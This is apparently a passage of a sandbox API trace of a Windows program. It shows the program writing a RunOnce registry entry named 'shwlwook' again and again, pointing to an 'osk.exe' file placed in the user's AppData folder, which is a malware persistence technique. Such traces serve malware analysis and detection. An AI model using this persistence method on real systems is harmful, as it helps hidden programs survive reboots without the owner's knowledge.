lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.524] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.524] RegCloseKey (hKey=0x14c) returned 0x0 [0258.524] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.525] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.539] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.539] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.539] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.540] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.540] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.540] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.540] RegCloseKey (hKey=0x14c) returned 0x0 [0258.541] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.541] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.554] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.554] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.555] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.555] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.555] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.556] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.556] RegCloseKey (hKey=0x14c) returned 0x0 [0258.556] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.556] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.570] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.570] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.570] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.571] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.571] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.571] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.571] RegCloseKey (hKey=0x14c) returned 0x0 [0258.572] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.572] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.586] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.586] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.586] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.587] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.587] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.587] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.587] RegCloseKey (hKey=0x14c) returned 0x0 [0258.588] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.588] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.601] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.601] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.602] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.602] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.602] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.602] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.602] RegCloseKey (hKey=0x14c) returned 0x0 [0258.603] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.603] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.617] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.617] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.617] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.618] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.618] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.618] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.618] RegCloseKey (hKey=0x14c) returned 0x0 [0258.619] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.619] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.632] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.633] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.633] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.633] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.634] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.634] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.634] RegCloseKey (hKey=0x14c) returned 0x0 [0258.634] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.635] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.650] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.650] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.650] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.651] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.651] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.651] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.651] RegCloseKey (hKey=0x14c) returned 0x0 [0258.652] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.652] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.664] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.664] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.664] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.665] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.665] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.665] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.665] RegCloseKey (hKey=0x14c) returned 0x0 [0258.665] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.666] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.679] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.679] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.680] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.680] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.681] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.681] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.681] RegCloseKey (hKey=0x14c) returned 0x0 [0258.681] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.682] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.695] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.695] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.696] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.696] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.696] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.697] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.697] RegCloseKey (hKey=0x14c) returned 0x0 [0258.697] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.697] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.711] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.711] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.711] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.712] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.712] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.712] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.712] RegCloseKey (hKey=0x14c) returned 0x0 [0258.713] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.713] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.726] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.726] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.727] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.727] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.727] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.728] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.728] RegCloseKey (hKey=0x14c) returned 0x0 [0258.728] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.728] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.742] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.742] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.742] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.743] 